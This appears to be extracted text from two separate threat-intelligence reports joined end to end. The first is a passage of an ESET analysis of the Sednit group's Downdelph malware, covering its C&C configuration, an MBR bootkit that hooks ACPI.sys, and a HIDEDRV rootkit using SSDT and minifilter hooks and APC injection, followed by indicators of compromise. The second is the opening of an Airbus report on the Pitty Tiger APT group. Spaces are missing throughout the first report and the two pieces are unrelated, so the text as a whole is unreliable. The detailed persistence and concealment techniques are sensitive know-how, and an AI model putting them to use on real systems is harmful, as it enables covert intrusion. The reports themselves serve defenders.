Downdelph main configuration file extended.ini Key Value Servers Comma-separatedlistofadditionalCCserveraddresses(canbeNULL) Crypt Defineswhetherserverconfigurationfilesdescribedbelowwill beRC4-encryptedornot Sleep TimetowaitbeforecontactingCCserversagain Key Cryptographickeytoreplacethedefaultkey(canbeNULL) IftheServerskeyisnotempty,DowndelphaddstheCCserveraddressestoitslistofservers tocontacttodownloadpayloads.
TheRC4algorithmusesbydefaulta50-bytehardcodedvalue,towhich thelasttwobytesoftheinputtextareappendedtoformthekey,before decrypting.
This50-bytevalueispresentinotherSednitcomponents, suchasSeduploader and Xagent.
En Route with Sednit 15 Payload Download ForeachknownCCservertheinitialoneandtheadditionalonespossiblyprovided in extended.iniDowndelphperformsthreestepsleadingtothedownloadofapayload.
First,itsendsamachineID,whichwaspreviouslygeneratedfromtheharddriveserialnumber.
Second,itdownloadsaconfigurationfilenamedpinlt.inidescribingthepayloadtofetch fromthisparticularCCserver(ifany).Thenetworkrequestfollowsaformatsimilartotheone shown in Figure7.Thepossiblekey-valuepairsofthereceivedfilearedescribedinTable 2.
Table 2.
Downdelph server configuration file pinlt.ini Key Value Sleep TimetowaitbeforecontactingCCserversagain(ifpresent,overrides valueprovidedinextended.ini) Crypt DefineswhetherornotthepayloadwillbeRC4-encrypted Key Cryptographickeytoreplacethedefaultkey(ifpresent,overridesvalueprovided in extended.ini) FileName Nameofthepayloadtofetch PathToSave Locationinwhichtosavethepayloadonthelocalmachine,oralternatively shelltoindicatethepayloadisashellcodetoexecuteinmemory Execute Defineswhetherthepayloadwillbeexecuted,orsimplydroppedonthemachine RunApp Commandlinetorunthepayload(forexamplerundll32.exeforaDLLpayload) Parameters Parameterstopasstothepayload Delete Defineswhetherornotthepayloadwillbedeletedfromthelocalmachine afterbeingexecuted DelSec Timetowaitbeforetryingtodeletethefile Finally,ifthepreviousconfigurationfileisnon-empty,Downdelphdownloadsapayloadfrom thisCCserver,andprocessesitaccordingtotheconfiguration.
OnceallCCservershavebeencontacted,Downdelphsleepsforacertainamountoftime(defined bytheSleepkeyinitsconfiguration),andthenre-startsthewholeworkflowfromthebeginning, includingdownloadingthemainconfigurationfilefromtheinitialCCserver.
Wedonothavein-the-wildexamplesofDowndelphconfigurationfiles.
Nevertheless,weknow thatinafewcasesthiscomponenteventuallydownloadedSedreco and Xagent.
Persistence Mechanisms Inmostofthedeploymentsweanalyzed,Downdelphwasdroppedwithacompanionbinarytaking chargeofitspersistence,aspicturedinFigure4.Thissectiondescribesthetwomostinteresting persistencemethodsemployed,respectivelywithabootkitandarootkit,leavingasidetheclassic andmorecommonWindowsRegistrymodificationmethods.
En Route with Sednit 16 Bootkit Interestingly,weobservedDowndelphdeploymentwithabootkitontwooccasions,Cases1and5 in Figure4.AsdefinedinESETsVirusRadar[17],abootkitisA type of rootkit that infects the Master Boot Record or Volume Boot Record (VBR) on a hard disk drive in order to ensure that its code will be run each time the computer boots.
[ ].
Inrecentyears,bootkitshavebecomepopularasawaytoloadunsignedmaliciousWindowsdrivers, whichisnormallypreventedbytheOSin64-bitversionsofWindows.
Butinthepresentcasethebootkit servesasastealthypersistencemethodfortheuser-modedownloaderDowndelphalthough forthispurposeanunsigneddriverwillindeedbeloaded,aswewilldescribelater.
Persistencethrough abootkitmakesdetectionharder,asitscodeisexecutedbeforetheoperatingsystemisfullyloaded.
ThebootkitinquestionhastheabilitytoinfectMicrosoftWindowsversionsfromWindowsXP toWindows7,onboth32-bitand64-bitarchitectures.
Tothebestofourknowledgethebootkitused byDowndelphhasneverbeendocumented,eventhoughitbelongstothewell-knowncategory ofbootkitsinfectingtheMasterBootRecord(MBR)firstsectoroftheharddrivetotakecontrol ofthestartupprocess.
Wewillnowdescribethevariouscomponentsinstalledonthemachineduringtheinfection bythebootkit,andthenhowthosecomponentscooperateduringstartuptoeventually executeDowndelph.
Installation Process ThebootkitinstallationprocessvariesdependingontheWindowsversion,andwhether themachineis32-bitor64-bit.
Inallcasesthebootkitinstallerstartsbyoverwritingthehard drivesfirstsectorsasectorbeingthebasicharddrivestorageunit,resultinginanewharddrive layoutasshowninFigure 8anddescribedinthefollowing.
Sector 1 Bootkit MBR Sector 2 Original MBR (XOR-encrypted) Sector 3 Bootkit Code (XOR-encrypted) Bootkit Driver (XOR-encrypted, RC4-encrypted) Legitimate data Figure 8.
Beginning of infected hard drive layout Firstthingsfirst:theMBRisoverwrittenwithacustomversion,whileanencryptedcopy oftheoriginalMBRcodeisstoredinthesecondsector.
Startinginthethirdsectorcomesthecore bootkitcode,encryptedwithasimpleXOR-basedalgorithm.
Thiscorecodewillbeslightlydifferent dependingontheoperatingsystemversions,asthehooksdescribedlaterputinplaceatstartup willvary.
FinallycomesanRC4-encryptedWindowsdriver,whichdependingonthearchitecturewill bea32-bitor64-bitbinary.
En Route with Sednit 17 Inordertoaccessthefirstsectorsoftheharddrive,theinstalleremploysatechniquepreviously seenintheinfamousTDL4bootkit[18],whosecodeisshowninFigure 9.
Figure 9.
MBR opening code, as seen in a decompiler Oncethisdeviceaccessisestablished,theinstallersimplycallstheWindowsAPIfunctionWriteFile tooverwritetheharddrivesfirstsectors.
Itshouldbenotedthatthismethodrequiresadministrative rightsonthesystem.
Second,theinstallerstoresaDLLinthenewlycreatedWindowsRegistrykeyHKLM\SYSTEM\ CurrentControlSet\Control\Lsa\Core Packages.
Aswewillexplainlater,thisbinary istheusermodecomponentofthebootkit.
Additionally,Downdelphitselfisstoredinthesame registrypath,butinthekeynamedImpersonation Packages.
ThesetwofilesarestoredinWindowsRegistryfollowingacustom-encrypteddataformatthat isalsousedforthebootkitcodeinitiallycontainedintheinstaller.
Moreprecisely,thedataare aPLib-compressed[19],thenRC4-encrypted,andbeginwiththefollowingheader: Themagic4-bytevalue:3isalsowrittenbythebootkitinstalleratoffset 0x19BoftheMBR,asamarkertoindicatethattheharddrivehasalready beeninfectedintheeventthattheinstallerisre-executed.
struct PackedChunkHeader  DWORD magic // set to 0x203a3320 ( :3  in ASCII) DWORD packed_size DWORD unpacked_size DWORD key_size BYTE  rc4_key[16]  En Route with Sednit 18 Startup Process Onceinstalled,thebootkittakescontrolofthemachineduringthenextsystemstartup.
Thestartup processisdetailedinFigure 10forWindows7,whereonlythestepsinvolvingthebootkitareshown.
Boot loader (winload.exe) Hooks ACPI.sys entry point Bootkit MBR Hooks interruption 13h Decrypts bootkit code at physical address 0x97C00 Decrypts and executes original MBR Original MBR Hooks bootmgr ACPI.sys Decrypts and executes bootkit driver Bootkit driver Decrypts and injects bootkit user-mode component in explorer.exe Downdelph Bootkit user mode component Loads Downdelph in explorer.exe process Boot Manager (bootmgr) Hooks function OSIArchTransferToKernel in winload.exe CPU in real mode CPU in protected mode Figure 10.
Startup process of a Windows 7 machine infected by the bootkit Roughlysummarized,abootkitsobjectiveistosurviveWindowsstartupandeventuallytoexecute apayloadoncetheoperatingsystemisfullyrunning.
Suchsurvivalismadedifficultbythestrong modificationsofthemachinestateateachstepofthestartupprocess(forexamplebyreorganizing memoryorswitchingtheCPUmode).Hence,startingfromtheinitiallyinfectedMBR,thebootkit ensuresateachstepthatitwillregaincontrolatthenextstep,mainlybysettinghooks.
WhilethebootkitworkflowdescribedinFigure 10bearssomesimilaritieswithotherknownMBR- infectedbootkits(seeBootkits:Past,PresentFuture[20]forsomeexamples),therearecertain particularitiesthatwewouldliketopointout: ThebootkitMBRdecryptsthebootkitcodeandthebootkitdriverinitiallystoredfrom thethirdsector(seeFigure8)intoamemorybuffer.
Onthesystemweusedforanalysis, thebufferwaslocatedatphysicalmemoryaddress0x97C00.Thismemoryareatherefore containsthebulkofthebootkitcode,andthehooksinbootmgr,winload.exe and ACPI.
sysre-routetheexecutionflowtothisbuffer.
Itismorecommonforbootkitstocopy theircodeateachstepintoanewmemoryarea,inordertosurvivememoryre-organization duringstartup.
En Route with Sednit 19 ThisisthefirstuseofthegenuineWindowsdriverACPI.sysinabootkit,tothebest ofourknowledge.
Moreprecisely,theentry-pointofthisdriverispatchedtoredirect toasmallsnippetofcodewritteninitsresourcessection,asshowninFigure 11.
Figure 11.
Hook code in ACPI.sys resources section (.rsrc) ThiscodereceivesasaninputparameterthememoryaddressoftheWindowskernelntoskrnl.
exe,wherethebootkitstoressomecrucialdatainunusedPEheaderfields.
Usingthesedata, itfirstrestoresthefirstfivebytesoftheoriginalACPI.sysentry-point,andthenredirectstobootkit codestoredatphysicalmemoryaddress0x97C00,mappedinthevirtualmemoryspaceusingthe WindowsAPIMmMapIoSpace[21].Thisbootkitcodewilldecryptandexecutethebootkitdriver.
ThemodificationstotheACPI.sysdriverbypassWindowsbootloader integritychecks,becausethosechecksaredoneonthehard-driveversion ofthefile,notonthein-memoryversion.
En Route with Sednit 20 Thebootkitdriverinjectsthebootkituser-modecomponentintotheexplorer.exe processbypatchingitsentry-pointbeforeitisexecuted.
Theusermodecomponentthen loadsDowndelphand,interestingly,ittriestosetanexportedglobalBooleanvariablenamed m_bLoadedByBootkit in DowndelphtoTRUE,asshowninFigure 12.
Figure 12.
User mode bootkit component attempts to set an exported Boolean variable in Downdelph, after having loaded it AsthisglobalvariableisabsentinallDowndelphbinaries,wespeculatethatthebootkitwas originallyintendedtobeusedwithadifferentpayload,andwasrepurposedbySednitsoperators.
Moreover,theuser-modecomponentofthebootkitexportstwofunctionsnamedEntry and ep_data.
ThosetwoexportnamesarealsopresentinearlysamplesoftheinfamousBlackEnergymalware[11].
Also,wefoundseveralcasesofcodesharingbetweenthebootkitcomponentsandthesame BlackEnergysamples.
Thesehintsleadustospeculatethatthedevelopersmayberelated.
Kernel Mode Rootkit AnotherinterestingDowndelphpersistencemethodweanalyzedreliesonaWindowsdriver, usedduringdeploymentsinFebruary2014.OnceloadedatstartupasaWindowsservice,thisdriver executesandhidesDowndelph,effectivelyactingasarootkit[22].Wewereabletodiguponlyfour samplesofthisrootkit:three32-bitversions,correspondingtoCases2,3and4inFigure 3, andanadditional64-bitversionforwhichwedonothaveanycontext.
Roughlysummarized,therootkithidescertainoperatingsystemartifacts(files,registrykeys,folders) whoselocationmatchesaruleinasetofso-calledHide rules.
Thoserulesaresetbythedropper andstoredintheWindowsRegistry,makingtherootkitaflexibletoolabletohideanygivenartifacts.
Interestingly,numerousdebugmessageswereleftbythedevelopersintherootkit,whichallow thoseHide rulesinparticulartobeclearlyseen.
Forexample,herearetherulesusedwith onesample,asoutputindebuglogsduringexecution: HIDEDRV: Hide rules rules HIDEDRV: File rules: \Device\HarddiskVolume1\Windows\system32\mypathcom\dnscli1.dll HIDEDRV: File rules: \Device\HarddiskVolume1\Windows\system32\drivers\FsFlt.sys HIDEDRV: Registry rules: \REGISTRY\MACHINE\SYSTEM\ControlSet002\services\FsFlt HIDEDRV: Registry rules: \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\FsFlt HIDEDRV: Registry rules: \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\services\FsFlt HIDEDRV: Inject dll: C:\Windows\system32\mypathcom\dnscli1.dll HIDEDRV: Folder rules: \Device\HarddiskVolume1\Windows\system32\mypathcom HIDEDRV: XXXXX rules HIDEDRV: Hide rules rules En Route with Sednit 21 Wecanobserveherethethreetypesofartifactspossiblyhiddenbytherootkit: Somespecificfiles,whosepathsaregivenintheFile rules.
Inthiscase,twosuchrules arepresentandrespectivelyservetohidetheDowndelphfile([ ]\dnscli1.dll) andtherootkititself([ ]\FsFlt.sys).
SomespecificWindowsRegistrykeys,whosepathsaregivenintheRegistry rules.
Inthiscase,threesuchrulesarepresent,tohideregistrykeysrelatedtotherootkitsWindows service,andalsotohidetheconfigurationitself,whichisstoredinthisparticularplace.
Somespecificfolders,whosepathsaregivenintheFolder rules.
Inthiscase,onesuch ruleispresent,tohidetheDowndelphfolder([ ]\mypathcom).
Finally,theInject dllrulecontainsthepathofaDLLthattherootkitwillinjectinto theexplorer.exeprocess.
Inthiscase,itpointstoDowndelph.
ThedebugmessagesallstartwithHIDEDRV,whichisapparentlythename thedevelopersgavetothisrootkit.
Thedevelopersalsoforgottoremove someprogramdatabase(PDB)[23]filepathsfromthesamples: Tosummarize,therootkitisconfiguredtohideDowndelphanditselffromtheuser,andalso toinjectDowndelphintoexplorer.exe.
Wearenowgoingtodescribehowthosetwooperations areimplemented.
Hiding Artifacts Wehaveidentifiedtwodifferentimplementationsoftheconcealmentmechanism,depending onthesamples.
ThefirstoneinstallshooksintheSystemServiceDescriptorTable(SSDT)[24], whilethesecondonereliesontheWindowsfiltermanager[25].
SSDT Hooking TheSSDTisaninternalWindowstablecontainingaddressesofcorekernelroutines,insuch awaythathookingthemallowstheinterceptionofdatareceivedbyusermodeprograms.
ThisrootkithooksthreeSSDTentries,correspondingtothefunctionsZwSetInformationFile, ZwQueryDirectoryFile and ZwEnumerateKey.
d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb En Route with Sednit 22 ThesethreefunctionsarecalledbyWindowsprocessestoaccessfiles,directoriesandregistrykeys respectively.
Thelogicinsertedbytherootkitisprettysimple:iftheaccessedartifactpathmatches oneoftheHide rules,thenthefunctionreturnsasiftheartifactdoesnotexistonthesystem.
Ontheotherhand,iftheaccessedartifactpathisnotrootkit-protected,theoriginalSSDTfunction isexecuted.
Forexample,thehookcodeforZwSetInformationFiletohidefilesispresented in Figure 13.
Figure 13.
Hook code for ZwSetInformationFile to hide files Withthearrivalof64-bitversionsofWindows,theSSDTbecameprotectedbyKernelPatch Protection[26],preventingtheinsertionofhooksintothistable.
Thisprobablyexplainswhy adifferentimplementationoftheconcealmentfunctionalitywasintroducedintherootkit, asdescribedbelow.
Minifilter Driver TheWindowsfiltermanager[25]allowsregisteringadriverasaminifilter,sothatitscodewill becalledoncertainI/Ooperations.
Suchaminifilterdrivercanregisterapre-operationcallback or a post-operationcallbackoneachI/Ooperationitregisterstofilter.
Minifilterdriversareorderedbasedonavaluecalledaltitude:thefiltermanagerexecutesdriver callbacksregisteredforanI/Ooperationinthedescendingorderofaltitude.
Thisorderingallows, forexample,prioritizinganti-virusminifiltersoverdata-processingminifilters,inordertodetect maliciousfilesbeforeopeningthem.
Inourcase,therootkitdriverregistersitselfasaminifilterofaltitude370030.Thisaltitude isnormallyassociatedwithaWindowslegacydrivernamedpassThrough.sys[27],which isanexampleofaminifilteropen-sourcedbyMicrosoft[28].Thus,therootkittakestheplace ofpassThrough.sysintheminifilterstack,andprovidescallbacksforhiding.
En Route with Sednit 23 Theconcealmentfunctionalityismainlyimplementedasapre-operationcallbackontheIRP_MJ_ CREATE[29]I/Ooperation,whichcorrespondstothecreationoropeningoffilesanddirectories.
ThecallbackcodeisshowninFigure 14.
Figure 14.
Preoperation callback for IRP_MJ_CREATE (the creation or opening of files and directories) Regardinghidingregistrykeys,thedeveloperssimplyre-usedthecodeofanotherminifilter example[30]releasedbyMicrosoftforthatpurpose.
Asafinalnoteonthisrootkitsconcealmentmechanisms,wewouldliketomentionthatwefound a64-bitversionoftheminifilter-basedrootkitmadetorunonWindows7(accordingtoitsPDBpath []win7\x64\fsflt.pdb).Loadingsuchunsigneddriverisnormallypreventedonthisoperating system,andwedonotknowiftheattackersmayhaveactuallyloadedit.
DLL Injection Oncethehidingmechanismshavebeenputinplace,therootkitinjectstheDLLwhosepathisinthe Inject dllrule(Downdelphinourcase)intoexplorer.exe.
Todoso,itfirstcopiesashellcode intoexplorer.exe,whichsimplycallsWindowsAPILoadLibraryW on Downdelphpath.
Toexecutetheshellcode,therootkitthenqueuesakernelasynchronousprocedurecall(APC)[31], alittle-knowncodeinjectiontechnique.
ThecoderesponsiblefortheinjectionispicturedinFigure 15.
Figure 15.
Kernel mode APc registration, FN_ApcNormalRoutine being the shellcode address in the target process En Route with Sednit 24 ConCluSIon AnD oPEn QuESTIonS DeployingacomponentassimpleasDowndelphwithabootkitorarootkitmayseemexcessive.
ButgiventheapparentrarityofDowndelphdeploymentsoverthelasttwoyears,weareinclined tospeculatethisisadeliberatestrategy.
Byrarelydeployingit,Sednitoperatorsapparentlykeptitoutofthehandsofmalwareresearchers foralmosttwoyears,which,combinedwithadvancedpersistencemethods,ensuredthattheywere abletomaintainthemonitoringofselectedtargetsoverthelongterm.
Still,wearecertainlymissingpartsofthepictureconcerningDowndelph,andwehopethisreport willencourageotherresearcherstocontributefurtherpiecestothepuzzle.
En Route with Sednit 25 InDICAToRS of CoMPRoMISE Downdelph eSeT Detection Names Win32/Rootkit.
Agent.
OAW Win32/Rootkit.
Agent.
OAY Win32/Sednit.
AZ Win32/Sednit.
BA Win32/Sednit.
BB Win32/Sednit.
K Win64/Sednit.
J Hashes 1cc2b6b208b7687763659aeb5dcb76c5c2fbbf26 49acba812894444c634b034962d46f986e0257cf 4c9c7c4fd83edaf7ec80687a7a957826de038dd7 4f92d364ce871c1aebbf3c5d2445c296ef535632 516ec3584073a1c05c0d909b8b6c15ecb10933f1 593d0eb95227e41d299659842395e76b55aa048d 5c132ae63e3b41f7b2385740b9109b473856a6a5 5fc4d555ca7e0536d18043977602d421a6fd65f9 669a02e330f5afc55a3775c4c6959b3f9e9965cf 6caa48cd9532da4cabd6994f62b8211ab9672d9e 7394ea20c3d510c938ef83a2d0195b767cd99ed7 9f3ab8779f2b81cae83f62245afb124266765939 e8aca4b0cfe509783a34ff908287f98cab968d9e ee788901cd804965f1cd00a0afc713c8623430c4 File Names apivscd.dll install_com_x32_LL_full.dll shcore.dll userinit.exe Registry Keys HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LastEnum SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\shell ccserver Domain Names intelmeserver.com ccserver IP addresses 104.171.117.216 141.255.160.52 PDB Paths d:\\work\\etc\\hideinstaller_kis2013\\Bin\\Debug\\win7\\x64\\fsflt.pdb d:\\new\\hideinstaller\\Bin\\Debug\\wxp\\x86\\fsflt.pdb d:\\work\\etc\\hi\\Bin\\Debug\\win7\\x86\\fsflt.pdb En Route with Sednit 26 REfEREnCES 1.
TheWashingtonPost,RussiangovernmenthackerspenetratedDNC,stoleoppositionresearchonTrump, https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc- stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html,June2016 2.
TheWallStreetJournal,GermanyPointsFingeratRussiaOverParliamentHackingAttack,http://www.wsj.com/ articles/germany-points-finger-at-russia-over-parliament-hacking-attack-1463151250,May2016 3.
Reuters,FranceprobesRussianleadinTV5Mondehacking:sources,http://www.reuters.com/article/us-france- russia-cybercrime-idUSKBN0OQ2GG20150610,June2015 4.
ESETVirusRadar,Zero-day,http://www.virusradar.com/en/glossary/zero-day 5.
ESET,SednitEspionageGroupAttackingAir-GappedNetworks,http://www.welivesecurity.com/2014/11/11/sednit- espionage-group-attacking-air-gapped-networks/,November2014 6.
Kaspersky,SofacyAPThitshighprofiletargetswithupdatedtoolset,https://securelist.com/blog/research/72924/ sofacy-apt-hits-high-profile-targets-with-updated-toolset/,December2015 7.
CrowdStrike,BearsintheMidst:IntrusionintotheDemocraticNationalCommittee, https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/,June2016 8.
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https://technet.microsoft.com/en-us/library/cc75975928vws.1029.aspx En Route with Sednit 27 27.
MSDN,AllocatedAltitudes,https://msdn.microsoft.com/windows/hardware/drivers/ifs/allocated-altitudes 28.
Microsoft,WindowsDriverSamples-passThrough,https://github.com/Microsoft/Windows-driver-samples/blob/ master/filesys/miniFilter/passThrough/ 29.
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MSDN,AsynchronousProcedureCalls, https://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(vvs.85).aspx Lastupdated2016-09-1117:16:51EDT https://msdn.microsoft.com/windows/hardware/drivers/ifs/allocated-altitudes https://github.com/Microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/passThrough/ https://github.com/Microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/passThrough/ https://msdn.microsoft.com/en-us/library/windows/hardware/ff54863028vvs.8529.aspx https://github.com/Microsoft/Windows-driver-samples/tree/master/general/registry/regfltr https://msdn.microsoft.com/en-us/library/windows/desktop/ms68195128vvs.8529.aspx Table 1.Downdelph main configuration file extended.ini Table 2.Downdelph server configuration file pinlt.ini Figure 1.Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015.
Figure 2.Main attack methods and malware used by the Sednit group since 2014, and how they are related Figure3.Downdelph major events Figure 4.Downdelph deployments, with the purpose and name of each file Figure 5.Decoy document used in Case 7 (September 2015) Figure 6.Downdelph communication workflow Figure 7.Downdelph request to download main configuration file Figure 8.Beginning of infected hard drive layout Figure 9.MBR opening code, as seen in a decompiler Figure 10.Startup process of a Windows 7 machine infected by the bootkit Figure 11.Hook code in ACPI.sys resources section (.rsrc) Figure 12.User mode bootkit component attempts to set an exported Boolean variable in Downdelph, after having loaded it Figure 13.Hook code for ZwSetInformationFile to hide files Figure 14.Preoperation callback for IRP_MJ_CREATE (the creation or opening of files and directories) Figure 15.Kernel mode APC registration, FN_ApcNormalRoutine being the shellcode address in the target process
Pitty Tiger Group Public release Threat Intelligence The Eye of the Tiger Page : 1/58 Copyright  2014 Airbus Defence  Space - All rights reserved The Eye of the Tiger Credits: Ivan FONTARENSKY  Malware Research Fabien PERIGAUD Reverse Engineering Ronan MOUCHOUX Threat Intelligence Cedric PERNET Threat Intelligence David BIZEUL Head of CSIRT Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 2/58 Copyright  2014 Airbus Defence  Space - All rights reserved EXECUTIVE SUMMARY Operation Pitty Tiger  The Eye of the Tiger Cyber espionage has been a hot topic through the last years.
Computer attacks known as APT (Advanced Persistent Threat) have become widely reported and emphasized by the media, damages are now considered as real and strategic trends are moving in cyber defense.
AIRBUS Defence  Space  CyberSecurity unit responds to such attacks for its customers every day, developing a complete range of solutions.
Today, we decided to release publicly information on a specific group of APT attackers known as Pitty Tiger.
This information comes directly from investigations led by our Threat Intelligence.
Pitty Tiger is a group of attackers that have been active since at least 2011.
They have targeted private companies in several sectors, such as defense and telecommunications, but also at least one government.
We have been able to track down this group of attackers and can provide detailed information about them.
We were able to collect and reveal their malware arsenal.
We also analyzed their technical organization.
Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so far, rather they prefer using custom malware, developed for the groups exclusive usage.
Our discoveries indicate that Pitty Tiger is a group of attackers with the ability to stay under the radar, yet still not as mature as other groups of attackers we monitor.
Pitty Tiger is probably not a state-sponsored group of attackers.
They lack the experience and financial support that one would expect from state-sponsored attackers.
We suppose this group is opportunistic and sells its services to probable competitors of their targets in the private sector.
We have been able to leverage several attackers profiles, showing that the Pitty Tiger group is fairly small compared to other APT groups, which is probably why we saw them work on a very limited amount of targets.
At the end of this report, we provide indicators of compromise to help people detect current Pitty Tiger attacks.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 3/58 Copyright  2014 Airbus Defence  Space - All rights reserved TABLE OF CONTENT EXECUTIVE SUMMARY ..................................................................................................... 2 TABLE OF CONTENT ......................................................................................................... 3 MODUS OPERANDI: APT ATTACKS ................................................................................ 5 Reconnaissance phase .......................................................................................................... 5 Initial compromise .................................................................................................................. 6 Access strengthening  lateral moves ................................................................................... 6 Data exfiltration ...................................................................................................................... 7 PITTY TIGER INVESTIGATION CONTEXT .................................................................... 8 INFECTION METHODS ....................................................................................................... 9 Spear Phishing and weaponized documents ......................................................................... 9 Direct attacks ....................................................................................................................... 10 MALWARE INFORMATION .............................................................................................. 12 Troj/ReRol.
A ........................................................................................................................ 12 PittyTiger RAT ..................................................................................................................... 16 CT RAT ................................................................................................................................ 19 MM RAT (aka Troj/Goldsun-B) ............................................................................................. 23 Paladin RAT ........................................................................................................................ 26 Leo RAT .............................................................................................................................. 28 INFRASTRUCTURE .......................................................................................................... 30 Avstore.com.tw .................................................................................................................... 30 Skypetm.com.tw .................................................................................................................. 32 Common characteristics between the two domains ............................................................. 35 Other domains linked with the Pitty Tiger group ................................................................... 36 VICTIMS ............................................................................................................................ 39 ATTACKERS ..................................................................................................................... 40 Attackers connections to the cc ........................................................................................ 40 TooT .................................................................................................................................. 44 Cold  Snow ...................................................................................................................... 48 Roles and organization ........................................................................................................ 48 Attackers arsenal ................................................................................................................. 49 ATTRIBUTION .................................................................................................................. 53 CONCLUSION ................................................................................................................... 56 INDICATORS .................................................................................................................... 57 Domains .............................................................................................................................. 57 Malware hashes ................................................................................................................... 57 Malware Strings ................................................................................................................... 58 Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 4/58 Copyright  2014 Airbus Defence  Space - All rights reserved Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 5/58 Copyright  2014 Airbus Defence  Space - All rights reserved MODUS OPERANDI: APT ATTACKS APT attacks follow what we call the APT kill chain.
The kill chain describes briefly the way attackers do perform their actions.
It can be summarized by the following scheme: RECONNAISSANCE PHASE The reconnaissance phase commences when an attacker selects a new target and involves the acquisition of information about that target.
There is very little information available about this phase, and there is little data about it.
The only way to collect information about this phase would be to already monitor all attackers actions at this step, which is hardly feasible.
The longer the attackers spend time in attempting to understand their target and its online presence, the easier it will be to find efficient ways to penetrate that companys systems.
This reconnaissance phase is both about finding information to break into the targeted network successfully and about searching for data which could help to accelerate sensitive information isolation (like the name of a key employee for example).
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 6/58 Copyright  2014 Airbus Defence  Space - All rights reserved This phase mostly relies on open sources from the Internet: social networks, press releases, white papers, corporate websites, search engines, but also on some active tools like vulnerability scanners etc.
INITIAL COMPROMISE At this stage, the APT attackers have a solid knowledge of their target and its key employees.
The attackers have everything they need to start looking for an entry point to the companys network and establish one or several permanent backdoors into the environment.
The attackers mostly rely on two techniques here to infect one or several computers, usually workstations, inside the targets network: spear phishing and drive-by downloads.
Spear phishing can be described as targeted e-mail phishing.
In a spear phishing scheme, attackers send very few e-mails to targeted people.
In fact, they can even send just a single e-mail.
The trick is to target the right victim and provide it with the right content, so that they will click on a link leading to drive-by download of a malware, or open an attached file which will infect their computer.
Some groups of attackers also use watering hole techniques to successfully compromise their targets.
To build a watering hole attack, attackers do compromise the website of a third party, generally a supplier of the target, which is typically visited by a specific group of professionals and very likely by the target.
Every visitor of the compromised third party is then infected.
The method has one major drawback: it will also infect third parties who visit the website.
Attackers have developed ways to avoid this.
If their reconnaissance phase has been done effectively, they already know all IP ranges used by the target company.
It just takes a few lines of code in the infecting script to only compromise visitors coming from the target IP ranges.
Direct attacks against servers of the target can also be a way to penetrate the targets network.
ACCESS STRENGTHENING  LATERAL MOVES Attackers have gained access to one or several machines inside the targets corporate network.
They need to install several different backdoors in order to be able to always access the network.
In case one backdoor falls, there will be others.
As soon as the attackers are sure they have enough access, they start looking for two things: intellectual property (or anything else they want to know or steal) in alignment with predefined mission objectives, and a means of privilege escalation to facilitate lateral movement within the compromised environment.
It generally does not take long before the attackers gain domain administrator privileges and dump all the Active Directory content.
They use lateral moves between machines inside the network, and look for everything they need.
This step is very hard to detect, since they only use valid credentials and legitimate administration tools such as PsExec.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 7/58 Copyright  2014 Airbus Defence  Space - All rights reserved DATA EXFILTRATION Data exfiltration is the last step before the attackers loop to the lateral moves step, in a never-ending circle of prolonged access and information theft.
They generally create archive files containing the content they want to exfiltrate, which are then sent to the attackers by using a remote administration tool (RAT) or transfer protocols such as FTP and HTTP.
This phase is not the end of an APT attack.
The attackers loop to the access strengthening/lateral moves stage and generally keep stealing more information and stay inside the network for more data gathering.
For more information about all the APT phases, please refer to our APT Kill Chain blog post serie1.
1 http://blog.cassidiancybersecurity.com/tag/APT http://blog.cassidiancybersecurity.com/tag/APT Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 8/58 Copyright  2014 Airbus Defence  Space - All rights reserved PITTY TIGER INVESTIGATION CONTEXT During our regular investigations on APT cases, one particular variant of malware caught our attention, because we had not faced it before.
We decided to spend some time to investigate around this malware and found out that it was used exclusively by a single group of attackers.
This malware family is known as PittyTiger by the anti-virus research community.
We discovered this malware sample in June 2014, leading to a command  control (cc) server still in activity.
Our researches around this particular malware family revealed the Pitty Tiger group has been active since 2011, yet we found other publications1 which could probably be attributed to the same group of attacker back in 20102.
This group uses other malware and tools during their APT operations, in addition to the PittyTiger RAT.
A variant of the infamous Gh0st RAT dubbed Paladin has been used repeatedly by the PT group, together with other RATs which seem to be developed exclusively for the PT group: MM RAT (aka Troj/Goldsun-B), and CT RAT.
Another variant of Gh0st RAT named Leo has been found inactive on a cc server.
We also found another malware, named Troj/ReRol.
A.
This one is also used by the group to infect workstations, collect system information, and install more malware on the infected computer.
It acts as a first stage downloader and system data collector often used in the initial compromise of the Pitty Tiger campaigns, generally embedded in Microsoft Office documents.
Thanks to servers misconfigurations, we managed to get information from three cc servers used by this group of attackers, which provided us with insight from the end of 2013 to the beginning of July 2014.
Our investigation has been focused on the data we could get from these cc servers but also on the Pitty Tiger environment.
This whitepaper aims to expose the view we have on the group, especially on their infrastructure and capabilities.
We hope this publication will bring further counter analysis from the research community to enrich the global common threat knowledge.
